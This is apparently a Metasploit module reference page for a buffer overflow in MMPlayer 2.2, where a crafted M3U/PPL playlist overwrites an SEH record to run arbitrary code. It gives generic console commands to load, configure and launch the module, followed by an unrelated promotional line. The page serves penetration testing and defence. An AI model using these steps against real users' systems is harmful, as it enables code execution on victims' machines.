Description

This module exploits a buffer overflow in MMPlayer 2.2 The vulnerability is triggered when opening a malformed M3U/PPL file that contains an overly long string, which results in overwriting a SEH record, thus allowing arbitrary code execution under the context of the user.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/fileformat/tfm_mmplayer_m3u_ppl_bof
msf exploit(tfm_mmplayer_m3u_ppl_bof) > show targets
    ...targets...
msf exploit(tfm_mmplayer_m3u_ppl_bof) > set TARGET < target-id >
msf exploit(tfm_mmplayer_m3u_ppl_bof) > show options
    ...show and set options...
msf exploit(tfm_mmplayer_m3u_ppl_bof) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
